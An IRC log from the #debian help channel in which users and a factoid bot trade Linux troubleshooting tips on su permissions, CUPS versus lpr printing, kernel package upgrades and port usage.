| 06:02.50 | TheStar | dondelelcaro, Anyway, you have missed the point of my question. |
| 06:03.17 | dondelelcaro | TheStar: no, I've already answered that part. I'm trying to help you understand why what you're asking for is incorrect. |
| 06:03.23 | Klowner_ | anyone know of any Gimp 2.2 backports for sarge? |
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| 06:03.45 | fofos | may someone please recall me how to set :0 for the current user ? i can't recall this |
| 06:03.54 | Guerin | Klowner_: it's only been released a few days, give it time |
| 06:03.56 | TheStar | fofos, :0? |
| 06:04.06 | dondelelcaro | !tell Klowner_ about why is gimp not in testing |
| 06:04.23 | dondelelcaro | fofos: you mean DISPLAY? |
| 06:04.24 | fofos | TheStar: yes, i su'ed and i wish to start a graphical app with root rights |
| 06:04.33 | dondelelcaro | fofos: /msg dpkg sux; |
| 06:04.34 | fofos | dondelelcaro: yes but i can't recall the syntax |
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| 06:04.41 | TheStar | <apt> i dunno what is 'why gimp is not in testing'. |
| 06:04.43 | fofos | hehe |
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| 06:04.44 | fofos | sux |
| 06:04.45 | fofos | :) |
| 06:04.49 | fofos | dondelelcaro: ty |
| 06:04.53 | PyroTechno | !tell me about why is gimp not in testing |
| 06:05.02 | Lethargy | because |
| 06:05.04 | jasonf | !annoy PyroTechno |
| 06:05.07 | dpkg | PyroTechno: HELP!!!!! ANSWER!!!! PLZ!!!!! |
| 06:05.07 | Duelist | Klowner_: Gimp 2.2.0 is in unstable if you want it badly enough |
| 06:05.11 | dondelelcaro | PyroTechno: you can /msg the bot |
| 06:05.22 | PyroTechno | dondelelcaro: Indeed I can. |
| 06:05.28 | Klowner_ | hmmm |
| 06:05.32 | PyroTechno | dondelelcaro: I am sorry |
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| 06:05.38 | TheStar | dpkg, You used an unequal number of exclaimation marks. |
| 06:05.38 | dpkg | i haven't a clue, TheStar |
| 06:05.47 | TheStar | Obviously. |
| 06:05.58 | Lethargy | good morning, good night and have a good holiday. |
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| 06:06.57 | Klowner_ | so stuff literally has to sit there for 10 days before being accepted into testing, even though it seems to work? |
| 06:07.20 | Lethargy | Thats part of it, |
| 06:07.23 | dondelelcaro | Klowner_: it sometimes takes that long for bugs to be found. |
| 06:07.25 | dondelelcaro | !testing |
| 06:07.25 | TheStar | Klowner_, 10 days isn't long at all! |
| 06:07.25 | dpkg | rumour has it, testing is a release phase between frozen and unstable. Sarge is now testing. See http://lists.debian.org/debian-devel-announce-0012/msg00011.html for the creation of testing. See http://www.linuxmafia.com/debian/testingfaq.html for frequently asked questions about testing. Note that testing and security updates mix complexly. |
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| 06:07.41 | Klowner_ | quite interesting |
| 06:07.44 | Lethargy | you also need to remember that testing is about to be finished |
| 06:07.52 | Klowner_ | I'm not complaining, I was just unaware of that fact |
| 06:07.59 | TheStar | Klowner_, If your truely impatient, you may wish to compile it yourself. |
| 06:08.08 | Lethargy | so I would not expect anymore packages getting in before it comes out. |
| 06:08.12 | Klowner_ | nah I can wait |
| 06:08.16 | jasonf | Hrm. I just did something, now my user can't su to root, but I can login directly as root. I think it may be a perms issue. How might I find out? |
| 06:08.38 | Ekdikeo | there are machines that you can login as root on? boggle |
| 06:08.40 | dondelelcaro | jasonf: could be pam... can you su to your own user? |
| 06:08.50 | Lethargy | jason check out chmod |
| 06:08.54 | fofos | bbs |
| 06:09.00 | Klowner_ | thanks for the answers guys |
| 06:09.26 | jasonf | .net |
| 06:09.26 | jasonf | [jay@levitra]~: su jay |
| 06:09.26 | jasonf | Password: |
| 06:09.26 | jasonf | su: Authentication service cannot retrieve authentication info. |
| 06:09.26 | *** kick/#debian [jasonf!~debhelper@debhelper.user] by debhelper (flood: Consider using #flood) |
| 06:09.31 | Lethargy | why would you want a user to su to root, unless your that user. |
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| 06:09.40 | jasonf | sorry, only meant to paste the one line, don_inlab |
| 06:09.50 | jasonf | * dondelelcaro |
| 06:10.04 | jetscreamer | lol |
| 06:10.05 | TheStar | !punish jasonf |
| 06:10.13 | jetscreamer | <PROTECTED> |
| 06:10.16 | jasonf | dondelelcaro: any idea? |
| 06:10.18 | dondelelcaro | jasonf: hrm... could be pam, or su's permisions... |
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| 06:10.22 | Lethargy | root should be off limits to the average user. |
| 06:10.28 | TheStar | dpkg, Err, bit extreme. |
| 06:10.28 | dpkg | TheStar: bugger all, i dunno |
| 06:10.30 | jetscreamer | !fear dondelelcaro |
| 06:10.32 | dondelelcaro | jasonf: but since you're able to execute su, it's probably pam |
| 06:10.40 | jasonf | dondelelcaro: how might I troubleshoot it? |
| 06:10.55 | ugenn | can someone show me a sample network conf? |
| 06:11.06 | jasonf | dondelelcaro: I recently had an issue where I chown'd some files by accident, and I had to re-chown them. I think I may have done them to the wrong user. |
| 06:11.08 | dondelelcaro | jasonf: first things first, ls -l /bin/su |
| 06:11.20 | jasonf | -rwxr-xr-x 1 root root 23416 Nov 26 01:30 /bin/su |
| 06:11.29 | Lethargy | ugenn is your card recognized in the kernel |
| 06:11.34 | jasonf | dondelelcaro ^^ |
| 06:11.37 | dondelelcaro | jasonf: well, there you go. chmod u+s /bin/su; as root. |
| 06:11.45 | Ekdikeo | anyone know a channel for winehelp? |
| 06:11.53 | dondelelcaro | Ekdikeo: #wine |
| 06:12.05 | Ekdikeo | i'd guessed that, but it was empty |
| 06:12.11 | ugenn | lethargy: i'm writing ifup/down. need a sample. nothing to do with my hw |
| 06:12.18 | TheStar | Ekdikeo, Try #winehq |
| 06:12.19 | dondelelcaro | Ekdikeo: actually, it's #winehq |
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| 06:12.29 | Ekdikeo | thank you :) |
| 06:12.30 | dondelelcaro | Ekdikeo: and /msg chanserv help list |
| 06:12.32 | jackd | ok, back to my proftpd problem.. |
| 06:12.43 | jasonf | dondelelcaro: simple enough. What causes that? |
| 06:12.49 | Lethargy | It has everything to do with hardware, if the kernel module is not loaded |
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| 06:12.55 | TheStar | dondelelcaro, You gotta be insane to do that! |
| 06:13.00 | jetscreamer | hey speaking of wine, where is a how-to for my kids? if they want wine they can damn well fix it up theirselves. these are userkids, they know nothing except icons. |
| 06:13.09 | dondelelcaro | TheStar: no, you don't. Chanserv can search using rudimentary globs |
| 06:13.18 | Lethargy | for your nic, then no mater what you put in if/up down will matter. |
| 06:13.30 | TheStar | Nice. |
| 06:13.31 | dondelelcaro | jasonf: you must have made it non-setuid... and su needs to be setuid in order for it to change users. |
| 06:13.31 | jasonf | dondelelcaro: as in, what causes su to fail if not sticky |
| 06:13.35 | cdc | dondelelcaro, i ve created .xsession file |
| 06:13.42 | dondelelcaro | jasonf: that's not sticky, that's setuid. |
| 06:13.45 | cdc | dondelelcaro, i did that using xfce4_setup |
| 06:13.47 | ugenn | Lethargy: there is nothing wrong with my hardware. i'm writing initscripts for my custom distro. i want to see how debian does it. |
| 06:13.48 | jetscreamer | it doesn't run as root |
| 06:13.48 | jasonf | dondelelcaro: ah. hrm. |
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| 06:13.50 | cdc | dondelelcaro, now what do i do |
| 06:14.02 | dondelelcaro | cdc: now use the debian session, and xfce4 should start up |
| 06:14.06 | TheStar | jasonf, The setuid makes the program run with the same permissions as the owner. |
| 06:14.11 | TheStar | jasonf, Since root owns it... |
| 06:14.13 | cdc | ok |
| 06:14.14 | dondelelcaro | ugenn: see /etc/init.d/skeleton |
| 06:14.15 | cdc | will try out |
| 06:14.20 | jackd | i still cant seem to find out which process is using port 21 |
| 06:14.29 | TheStar | jackd, Checked out netstat? |
| 06:14.31 | jonesy | how do I use the pam_group.so module to limit access to members of a certain group? |
| 06:14.32 | dondelelcaro | ugenn: most of the magic is in start-stop-daemon anyway. |
| 06:14.34 | zignig | jackd: netstat -atp as root |
| 06:14.35 | jetscreamer | phhht dawdlers |
| 06:14.49 | jetscreamer | heh i was away? |
| 06:15.00 | ugenn | dondelelcaro: i don't have debian installed, which package is that in? |
| 06:15.12 | dondelelcaro | !tell ugenn about search |
| 06:15.14 | TheStar | ugenn, There's your big mistake number one. |
| 06:15.18 | jasonf | TheStar: ah. thanks. |
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| 06:15.53 | Lethargy | http://www.debian.org/doc/manuals/reference/ch-gateway.en.html |
| 06:16.11 | Lethargy | here is a quick look at a simple setup. |
| 06:16.40 | loof | Ok, fairly basic question... why does installing kernel-image-2.6-* get me kernel-image-2.6.8-* instead of 2.6.9? |
| 06:16.47 | ugenn | which package is the ifup/down in? |
| 06:16.58 | simonrvn | ifupdown |
| 06:17.08 | jackd | ok, it seems ftp is using port 21 :( |
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| 06:17.19 | Ekdikeo | that would make sense, considering that ftp is the standard port 21 program |
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| 06:17.45 | jackd | if it shows *:ftp as local address... |
| 06:17.53 | jackd | does that mean ftp is using port 21 or |
| 06:17.58 | loof | Hmm |
| 06:18.23 | Vyrus001 | how do i install a pcmcia wifi card under debian ? |
| 06:18.31 | Pook | pkg |
| 06:18.40 | jackd | or is it just substituting ftp for 21 coz its the standard |
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| 06:18.50 | loof | Also, if I install 2.6.9 directly... will it automagically offer to upgrade to 2.6.10 when it comes out? |
| 06:19.03 | jackd | i mean is something actually running there? |
| 06:19.12 | jackd | be right back |
| 06:19.25 | Pook | vyrus001: did you have it in while you installed deb? |
| 06:19.43 | Vyrus001 | Pook::: no... i just got this card today |
| 06:19.51 | Vyrus001 | Pook::: but pcmcia is in |
| 06:19.52 | Pook | ooh |
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| 06:19.59 | Ekdikeo | loof: will -what- automagically offer to install 2.6.10? *confused* |
| 06:20.41 | loof | Ok, if I use apt to install kernel-image.2.6-* (686-smp, in this case) it installs 2.6.8 |
| 06:20.44 | ugenn | simonrvn: thx. |
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| 06:20.47 | loof | there ARE packages for 2.6.9 |
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| 06:21.38 | Ekdikeo | er.. i don't think apt- automatically updates kernels by default |
| 06:21.41 | Pook | vyrus001: yah man, if i were in your shoes i'd be here myself asking for help |
| 06:21.47 | loof | I have a feeling 2.6.9 fixes a bug I'm running into and am wondering (a) if they are out there why does the virtual/generic form give me 2.6.8 and (b) if I manually switch to 2.6.9 will I dist-upgrade show 2.6.10 when it comes out |
| 06:21.54 | Tweak-other-comp | hi all, I think I remember my friend telling me about this on linux. you guys would be the ones to ask. How would I get a list or download all the files in a directory on someone web server? |
| 06:22.35 | streuner_ | wget |
| 06:22.48 | loof | tweak: If it's not open (i.e. you see a list of files when you go to */) then you can't... otherwise, there are a number of tools |
| 06:22.52 | loof | wget is a good one |
| 06:22.52 | Tweak-other-comp | wget it manually ? or is there a wget -r command I didnt see in --help? |
| 06:23.04 | cat | Tweak-other-comp: wget url or man wget |
| 06:23.25 | streuner | Tweak-other-comp: tkinfo wget - look for examples |
| 06:23.27 | aokaze | I need help. I have cups set up for a HP OfficeJet Pro 1170c but programs like firefox and xpdf will not print to cups or at least I dont know how to make them print to cups. they use a LPR command string. can someone tell me how to set them up to run on cups or set up lpr? |
| 06:23.29 | Tweak-other-comp | right, thats one file. Ok so if they have an index then im stuck then.. |
| 06:23.29 | loof | man wget and look for mirror |
| 06:24.07 | loof | aokaze: cups has an lpr compatible command line...and interface as well, if you turn that on |
| 06:24.07 | Lethargy | aokaze you might want to check out linux-printing.org |
| 06:24.40 | loof | If you have cups... your 'lpr' is probably cups |
| 06:24.52 | loof | Ok, so, back to kernel installation |
| 06:25.10 | loof | Was my question not clear...or does no one who is awake know the answer |
| 06:26.01 | Vyrus001 | Pook::: well i guess i should keep askin then :P |
| 06:26.03 | Ekdikeo | loof: i mentioned that i don't think apt- is configured by default to upgrade kernels |
| 06:26.17 | Ekdikeo | i don't know how one would do that, as i don't know apt very well |
| 06:26.19 | dondelelcaro | loof: kernel upgrades don't happen by default. |
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| 06:26.31 | loof | sheeesh |
| 06:26.34 | aokaze | everything that runs saying its running from cups prints but everything that has a command of "lpr" or lpr with a sting on the end will not print |
| 06:26.37 | loof | kernel upgrades DO happen automatically |
| 06:26.42 | loof | you just do dist-upgrade |
| 06:26.49 | Lethargy | aokaze did you install the special hp modules for your printer |
| 06:26.54 | dondelelcaro | loof: no, they don't. Different kernel versions are entirely different package names. |
| 06:27.03 | aokaze | yes I installed the moduals for the printer |
| 06:27.03 | sime | !deborphan |
| 06:27.03 | dpkg | hmm... deborphan is a package that will tell you what library packages you have installed that nothing's using. If you want remove all packages use 'deborphan | xargs apt-get -y remove --purge' |
| 06:27.06 | mwilson | aokaze: yes, so? You install cups-bsd and get the lpr binaries and you're done. |
| 06:27.06 | loof | If you install kernel-image-2.6 |
| 06:27.15 | mwilson | aokaze: It's not like this isn't in the documentation. |
| 06:27.15 | loof | you will get prompted for new kernels when they come out |
| 06:27.31 | Lethargy | Its on linux-printing.org |
| 06:27.46 | loof | I _assume_ if you install a specific kernel version kernel-image-2.6.9-* then you'd only get more sub-releases of 2.6.9... not 2.6.10 |
| 06:27.48 | dondelelcaro | loof: only if you've installed kernel-image-2.6-$ARCH |
| 06:27.55 | mwilson | Lethargy: I realize paying attention isn't important, but did you perhaps note that he already has the printer working? |
| 06:27.58 | loof | dondelelcaro: EXACTLY |
| 06:28.00 | aokaze | I dont get documentation. all I know about debian is apt-get install something and it installs. I am still new on everything else |
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| 06:28.12 | dondelelcaro | loof: and that's just because it happens to depend on the newest kernel, thus it doesn't happen automatically. |
| 06:28.12 | loof | The onyl thing that bugs me is WHY does doing that install 2.6.8* |
| 06:28.15 | cat | is any way u can put your man in other languages |
| 06:28.17 | loof | when 2.6.9 is out |
| 06:28.19 | Lethargy | The printer might work, but is it set up right. |
| 06:28.25 | dondelelcaro | loof: because that's what the package Depends: on. |
| 06:28.31 | loof | Ok, that's fiar |
| 06:28.33 | loof | fair |
| 06:28.40 | jackd | tcp 0 0 *:ftp *:* LISTEN |
| 06:28.41 | loof | why havn't they updated the dependancy |
| 06:28.49 | Lethargy | I have an old psc500 that works, but it was not working right until I loaded the special |
| 06:28.50 | jackd | does this mean i have an ftp server running? |
| 06:28.53 | Lethargy | hp modules. |
| 06:28.54 | dondelelcaro | loof: because 2.6.8-1 is currently the default kernel for sarge. |
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| 06:28.59 | loof | Are there stability issues I might not be aware of, or just laziness? |
| 06:28.59 | mwilson | Lethargy: What does whether or not the printer is "set up right" have to do with him trying to use a binary that he doesn't have installed? |
| 06:29.06 | cat | dondelelcaro: is there any way i can put my man in another languaged? |
| 06:29.19 | loof | Ah, so that the kernel which is installed matches the installer? |
| 06:29.34 | loof | Is there any DISADVANTAGE to installing 2.6.9 directly? |
| 06:29.37 | jackd | ok, i guess not |
| 06:29.37 | dondelelcaro | cat: LANG="pt_BR" man foo; |
| 06:29.43 | aokaze | btw synaptic says lpr is installed. so I dont know what else to do |
| 06:29.53 | mwilson | aokaze: I doubt that. |
| 06:30.01 | jackd | port number is just translated automatically |
| 06:30.02 | mwilson | aokaze: lpr and cups would conflict. |
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| 06:30.07 | dondelelcaro | cat: but that assumes that the manpage has been translated. Most haven't. |
| 06:30.07 | jm_ | loof: it's not binary compatible, so Sarge is sticking to 2.6.8, but you may install newer ones |
| 06:30.13 | streuner | loof: in my experience 2.6.8.1 was a very good kernel. |
| 06:30.22 | aokaze | lpr is highlighted as installed |
| 06:30.28 | loof | I assume that if a sub-release gets put out 2.6.9-2-* I'd still get prompted for it |
| 06:30.35 | jackd | but it is in the LISTEN state |
| 06:30.37 | Lethargy | its the hpijs hpdj modules that make all the difference. |
| 06:30.38 | cat | oh ic |
| 06:30.43 | jackd | so i guess something must be using it? |
| 06:30.48 | jackd | still dont know what :( |
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| 06:30.49 | aokaze | and cupsys is installed too |
| 06:30.50 | mwilson | aokaze: <sigh> Remove lpr, install the cupsys-bsd package as you were told to. |
| 06:30.50 | loof | streuner: There's a PIIX bug fixed in 2.6.9 which I _think_ is the cause of some IDE slow downs I'm experiencing |
| 06:31.01 | dondelelcaro | cat: installing one of the manpages-* packages appropriate to your language should help |
| 06:31.30 | mwilson | aokaze: Is there a particular reason why you ask for an answer, then argue with the answer you get? |
| 06:31.48 | Vyrus001 | how do i install a pcmcia wifi card under debian |
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| 06:31.56 | loof | On the other topic... I resisted cups for a long time... I'm shocked at how much faster it prints... I was quite happy /w lpr, it seemed fast (at least compared to the windows spooler)... CUPS is blazing fast, at least for a postscript printer |
| 06:32.04 | kri | hi people, anybody know of any techniques to recover a remote machine that is thrashing ? |
| 06:32.11 | Lethargy | Printer: HP OfficeJet 7110 |
| 06:32.11 | Lethargy | <PROTECTED> |
| 06:32.11 | Lethargy | <PROTECTED> |
| 06:32.11 | Lethargy | <PROTECTED> |
| 06:32.11 | Lethargy | <PROTECTED> |
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| 06:32.19 | mwilson | CUPS sucks rocks with a real PS printer. |
| 06:32.20 | loof | Vyrus: Really depends on the kind... most are supported internally...some require a lot of hacking |
| 06:32.22 | aokaze | im not argueing I just dont get what you guys are talking about. I did everything the HP install says |
| 06:32.42 | loof | mwilson: It's been printing around 5x faster than LPR was |
| 06:32.44 | Vyrus001 | loof::: netgear |
| 06:32.45 | fbtab | greetings all |
| 06:32.46 | Vyrus001 | wg511t |
| 06:32.47 | mwilson | aokaze: But you're not doing what WE told you to do. If you weren't going to do that, why did you come here and ask? |
| 06:32.53 | mwilson | loof: Not possible. |
| 06:33.01 | loof | mwilson: I benchmarked it |
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| 06:33.07 | kri | one can't logon to the remote machine as it is thrashing crazily |
| 06:33.13 | loof | For some reason lprng was REALLLLLY slow /w that printer |
| 06:33.24 | loof | I've got a couple of others and CUPS was faster /w them as well |
| 06:33.40 | loof | I'd take a postscript file and cat it to the lp device...and it was fast |
| 06:33.43 | loof | LPR was _slow_ |
| 06:33.44 | kri | can anything other that hard reboot be done to the machine? |
| 06:33.55 | loof | Not even sluggish...downright SLOW |
| 06:33.57 | aokaze | "mwilson aokaze: yes, so? You install cups-bsd and get the lpr binaries and you're done." um I was told that so I said I had lpr installed then I was told to uninstall it |
| 06:33.58 | mwilson | CUPS has this idiotic idea that it has some sort of business messing with the contents of a postscript stream. |
| 06:34.04 | fofos | okay, got almost everything i want now... anyhow, anyone had the case of installing the package kscreensaver and most of the screensavers won't be testable ? |
| 06:34.12 | aokaze | everyone is conflicting information I dont get what to do |
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| 06:34.28 | loof | CUPS was _almost_ as fast as copying it to the lp device directly |
| 06:34.33 | mwilson | aokaze: I told you to install cupsys-bsd. You come back with some nonsense about having lpr installed. Since I told you to install cupsys-bsd, why didn't you do it? |
| 06:34.38 | loof | mwilson: True... I didn't like that... but it seems to work well |
| 06:34.51 | loof | mwilson: And, it allows it to mess /w resolution, tray, etc. |
| 06:35.07 | aokaze | cupsys-bsd is installed |
| 06:35.22 | aokaze | and so was lpr like you said also |
| 06:35.34 | loof | aokaze: Then lpr wouldn't be installed... you are printing via cups... your programs just THINK they are talking to lpr |
| 06:35.37 | mwilson | aokaze: Nope. Not possible. They conflict. |
| 06:35.57 | mwilson | aokaze: You cannot have both cupsys-bsd and lpr installed at the same time. |
| 06:36.05 | aokaze | well then I have a borked install of debian |
| 06:36.06 | loof | Let's clarify one thing |
| 06:36.09 | fofos | ah, ok, got it... a dependancy that's not considered by the maintener |
| 06:36.11 | mwilson | aokaze: So when you get the story straight, I'll still be here. |
| 06:36.13 | loof | CUPS is backwards compatible /w LPR |
| 06:36.15 | aokaze | because both show as installed on synaptic |
| 06:36.24 | mwilson | loof: Not in the slightest. |
| 06:36.44 | mwilson | loof: Where did you get the idea that it was? |
| 06:36.47 | loof | aokaze: type 'man lpr' |
| 06:36.57 | loof | mwilson: uhm, It has the ability to TALK TO LPR CLIENTS |
| 06:37.09 | loof | both via compatible command line clients |
| 06:37.17 | aokaze | I just uninstalled lpr for mwilson after |
| 06:37.20 | loof | and via cups-bsd which gives it a compatible INTERFACE |
| 06:37.24 | aokaze | I was told to dl the binaries |
| 06:37.27 | mwilson | loof: I think you need to learn what "backwards compatible" means. |
| 06:37.33 | Cyanophytes | when trying to configure kernel it replaced my /vmlinuz file and made a backup of it. It use to symlink to /boot/vmlinuz-2.2.20-idepci can i just replace the /vmlinuz in lilo.conf with /boot/vmlinuz-2.2.20-idepci |
| 06:37.38 | loof | Maybe you do |
| 06:37.50 | loof | LPR clients can talk to CUPS clients |
| 06:37.54 | mwilson | loof: cupsysd does not listen on port 515. Therefore, it is not backwards-compatible with lpr. 'Nuff said. |
| 06:37.56 | loof | CUPS servers, in any case |
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| 06:38.01 | loof | Sheesh |
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| 06:38.07 | mwilson | No, lpr clients cannot. |
| 06:38.07 | streuner | Cyanophytes: of course. |
| 06:38.22 | jm_ | they can if you install cupsys-bsd ;) |
| 06:38.23 | streuner | Cyanophytes: but /msg dpkg real kernel |
| 06:39.01 | jm_ | and if you enable the option when debconf asks you about it |
| 06:39.23 | lightfoot | Hello Does anyone have java installed that could help me test somthing |
| 06:39.23 | initech | jm_: yes but the options are different and don't work too well, unless you use cups lp binaries |
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| 06:39.35 | jm_ | initech: yes, cupsys-bsd provides that |
| 06:39.38 | mwilson | jm_: The lpr binary from cupsys-bsd takes in a print stream on stdin and sends it via IPP to cupsysd. You *know* this. There's no lpr compatability going on there. |
| 06:39.53 | jm_ | mwilson: no, it can emulate lpd too |
| 06:40.03 | loof | You tell the guy to install cupsys-bsd and don't even know WHAT it does? |
| 06:40.15 | mwilson | loof: I know EXACTLY what it does. |
| 06:40.19 | Cyanophytes | streuner: Why do they add a vmlinuz file to link to the actual vmlinuz file |
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| 06:40.24 | mwilson | jm_: Yes, it you let it start the daemon. |
| 06:40.32 | jm_ | mwilson: yup |
| 06:40.41 | mwilson | jm_: The daemon just listens on 515 and takes what it gets and IPP's it over to cupsysd. |
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| 06:40.47 | lightfoot | I'm trying to test a P2P radio program called Freecast anyone want to help me test the java player? |
| 06:40.54 | streuner | Cyanophytes: no idea |
| 06:41.09 | loof | mwilson: Yes, THUS PROVIDING BACKWARDS COMPATABILITY |
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| 06:41.26 | initech | mwilson: no, it sends it to 515 |
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| 06:41.43 | lightfoot | Anyone?? please I need help testing :) |
| 06:41.47 | initech | wait, no |
| 06:41.54 | Cyanophytes | streuner: thanks |
| 06:41.57 | jm_ | initech: no, he described it properly |
| 06:41.57 | mwilson | initech: Oh, that'd be interesting... the lpr client sends it to the daemon on 515 which then sends it again on 515 to itself? That'd be useful. |
| 06:42.06 | streuner | Cyanophytes: upgrade to sarge |
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| 06:42.14 | loof | lightfoot: You'd have to be significantly more specific |
| 06:42.15 | jm_ | CUPS 1.1 includes a mini dameon that listens on port 515 |
| 06:42.22 | jm_ | daemon even |
| 06:42.25 | streuner | Cyanophytes: if you running the box as desktop-system |
| 06:42.27 | loof | mwilson: It's about as useful as... oh wait, let's not go there |
| 06:42.48 | loof | jm_: An evil demon ooooh :) |
| 06:42.49 | loof | :D |
| 06:42.52 | jm_ | heh |
| 06:42.54 | Cyanophytes | streuner: yes running sarge now |
| 06:43.06 | loof | Sheesh |
| 06:43.10 | loof | I think I need more wine |
| 06:43.26 | loof | Ok, mwilson, stop being pedantic |
| 06:43.31 | loof | no, cupsd does NOT talk lpr |
| 06:43.39 | lightfoot | I just need someone to test the Java webstart application link on my webstite http://www.lightfoots.org This javaws application is the player for this stream and I just want to test to see if it is working. |
| 06:43.44 | loof | it has programs that talk lpr for it... both command line and port based |
| 06:43.53 | mwilson | Oh, brother. |
| 06:43.58 | loof | you told him to install those via the cupsys-bsd package |
| 06:43.59 | mwilson | I don't know why I bothered. |
| 06:44.04 | lightfoot | I cannot test on the same machine that is running the server |
| 06:44.05 | loof | So, what are you complaining about? |
| 06:44.11 | loof | As far as the guy who is totally confused |
| 06:44.14 | loof | type 'man lpr' |
| 06:44.14 | zignig | mwilson: what print daemon do you use ( as a rule ) |
| 06:44.18 | loof | see if it talks about CUPS! |
| 06:44.25 | loof | I'll bet you _think_ you are still using lpr |
| 06:44.27 | loof | but you are not |
| 06:44.38 | mwilson | zignig: lprng. Of course, I own real printers. |
| 06:44.50 | lightfoot | Do to a port conflict I can't test on my own machine. |
| 06:44.50 | loof | And as far as the argument of which if faster... in _my_ case... talking to an 8150 via an ECP parallel port |
| 06:44.55 | loof | cupsys was dramatically fastter |
| 06:44.57 | loof | faster |
| 06:44.59 | loof | why, I don't know |
| 06:45.01 | initech | mwilson: whatever "real printers" has to do with anything |
| 06:45.02 | loof | I didn't bother trying to find out |
| 06:45.08 | loof | it's also more configurable |
| 06:45.15 | zignig | mwilson: I've got a HP4M and lprng has worked fine for linux/windows/OSX at home , so I agree with you . |
| 06:45.15 | loof | AND lets me use windows clients without going via SAMBA |
| 06:45.20 | loof | all of which are major pluses |
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| 06:45.38 | lightfoot | Anyone wan't to help you just have to click on a link and have java installed? |
| 06:46.09 | loof | Of course, my HP 8150 may not be enough printer for you |
| 06:46.15 | loof | I certainly don't own a print shop |
| 06:46.56 | lightfoot | loof do you have java deb packages installed? |
| 06:46.57 | loof | In any case |
| 06:47.07 | loof | lightfoot: Nope, not a java drinker, sorry |
| 06:47.19 | loof | I make my espresso at home |
| 06:47.20 | loof | :) |
| 06:47.27 | lightfoot | heh |
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| 06:47.52 | loof | Anyways, I think I'm going to switch over to 2.6.9 and see how it goes |
| 06:48.06 | edon | anyone having any problem with gkrellm (sid) here? |
| 06:48.10 | loof | I guess I'll find out how it handles new versions on my own, since asking here didn't seem to help |
| 06:48.17 | lightfoot | Are you using Sid loof? |
| 06:48.20 | streuner | edon: no - BTS |
| 06:48.20 | jm_ | loof: doesn't that only work for Win XP ? |
| 06:48.31 | loof | Nope, unstable |
| 06:48.40 | loof | Uhm, not unstable |
| 06:48.41 | loof | anyways |
| 06:48.53 | lightfoot | unstable=Sid |
| 06:48.59 | loof | lightfoot, I know |
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| 06:49.04 | loof | I was saying nope, not unstable |
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| 06:49.14 | initech | loof: buy a postscript module for the 8150 and be done with it, use any spooler you want |
| 06:49.18 | loof | and trying to switch out of this channel politely so I can install 2.6.9 and go on with life :) |
| 06:49.32 | lightfoot | heh |
| 06:49.38 | loof | The 8150 is NATIVE Postscript |
| 06:49.41 | streuner | edon: what kind of problems are they? |
| 06:49.41 | loof | 32PPM engine |
| 06:49.54 | edon | streuner: here the window doesn't show off after starting, the task is running though |
| 06:50.07 | initech | loof: ? we have several 8100's, they aren't. whatever. |
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| 06:50.15 | loof | initech: Why not go look it up on HP's page before trying to offer suggestions about something you don't know. |
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| 06:50.26 | initech | afaik all HP printers require a ps module to do postscript |
| 06:50.29 | loof | I didn't say 8100 |
| 06:50.34 | loof | And no, not all of them |
| 06:50.39 | lightfoot | 2.6.9 working fine here I had to uninstall udev so that I could use my soundcard udev and alsa on my machine caused problems that I did not want to resolve :) |
| 06:50.40 | loof | the higher end HPs are native PS |
| 06:50.58 | initech | loof: and HP with a PS module *is* "native" PS |
| 06:51.03 | loof | jm_: XP and higher support have IPP |
| 06:51.04 | edon | streuner: running with -d n doesn't show anything interesting |
| 06:51.24 | jm_ | loof: yup, a bit annoying since many people still use 2k |
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| 06:51.49 | TheStar | I still use 2k. |
| 06:52.06 | loof | initech: IN a way... native PS to me means the controller supports it as-is... as opposed to adding a PS 'simm' |
| 06:52.17 | loof | (Or, in older HPs a PS cartridge) |
| 06:52.17 | initech | loof: no difference whatsoever |
| 06:52.27 | loof | Ok, that's fine |
| 06:52.41 | loof | then all mid-level HPs and higher support native PS as an option |
| 06:52.43 | loof | feel happier? |
| 06:52.56 | sword- | hey how do you get certain programs to open hidden folders? |
| 06:53.01 | sword- | like xmms or open office for example |
| 06:53.13 | initech | loof: and as far as "high end" HP's, we have everything from 5si's to 8550's and all require simms, so wtf. |
| 06:53.15 | aeon_ | I'm using 2.6.9 kernel and had sound conflict with ac97_codec |
| 06:53.33 | loof | The 8150 did not. |
| 06:53.38 | loof | It simply came with it |
| 06:53.46 | aeon_ | I have i810 audio |
| 06:53.47 | loof | maybe the initial simm it has includes the PS software |
| 06:53.50 | jm_ | we've got a new HP printer a month ago, it's very fast, and has a fancy LCD display at the front (much faster than our old 5 MSiX or whatever the model is) |
| 06:54.04 | loof | Frankly, I didn't even bother looking into it... I just made sure it supported PS. |
| 06:54.15 | loof | So I may be wrong... you may be crazy... |
| 06:54.17 | streuner | edon: when you try an older version, does it work then? |
| 06:54.29 | loof | or is it might be crazy |
| 06:54.36 | edon | streuner: I did not try it |
| 06:54.36 | loof | I always forget the exactly lines to songs |
| 06:54.59 | initech | loof: afaik all HP lasers are PS capable, if you add it it (at point of sale or later, whatever) |
| 06:55.19 | streuner | edon: try it, if it works file a bugreport. |
| 06:55.20 | initech | except the really cheap shit ones |
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| 06:55.39 | loof | Ok, I'll accept that |
| 06:55.54 | loof | But as far as I know, none of the 8150 models come WITHOUT post script support |
| 06:56.44 | TheStar | Some non-PS HP printers can support PS. |
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| 06:57.31 | initech | loof: so what is the problem, exactly? |
| 06:57.40 | loof | initech: None |
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| 06:58.03 | loof | How about I rephrase my answer to, it already has PS... but thanks for the suggestion. |
| 06:58.07 | loof | There we go |
| 06:58.11 | loof | all is peace and love in the world |
| 06:58.43 | streuner | amen |
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| 07:00.44 | leh | hi, how do I make udev symlink tty[0-9] to vc/[0-9]? |
| 07:01.09 | simonrvn | links.conf. but i don't know why you'd want to do such a thing |
| 07:01.23 | simonrvn | ...since they're different... |
| 07:01.33 | leh | cuz it didn't create it so the inittab kept killing the console |
| 07:01.45 | leh | got respawn too fast: disable 5 mins |
| 07:01.50 | leh | i think that's the cause |
| 07:01.55 | loof | anyone here know much about DDS tapes vs DLT tapes in terms of performance, reliability, etc? |
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| 07:02.27 | loof | I had a hard time finding non-marketting BS |
| 07:02.31 | initech | loof: dlt drives are signifigantly faster |
| 07:02.32 | simonrvn | symlinking it is not the solution. |
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| 07:02.46 | leh | then how do i generate tty[0-9]? |
| 07:03.02 | TheStar | MAKEDEV, afaik. |
| 07:03.04 | loof | initech: Well, I'm trying to decide between a NEW DDS-4 (20/40) or a USED DLT-III (10/20) |
| 07:03.26 | leh | just run MAKEDEV? is there any parameter that i need to pass? |
| 07:03.27 | TheStar | loof, What's the prices like? |
| 07:03.33 | initech | loof: shrug. look at the specs for the drives I guess |
| 07:03.36 | streuner | leh: wih do you bother here with this crap, at all? |
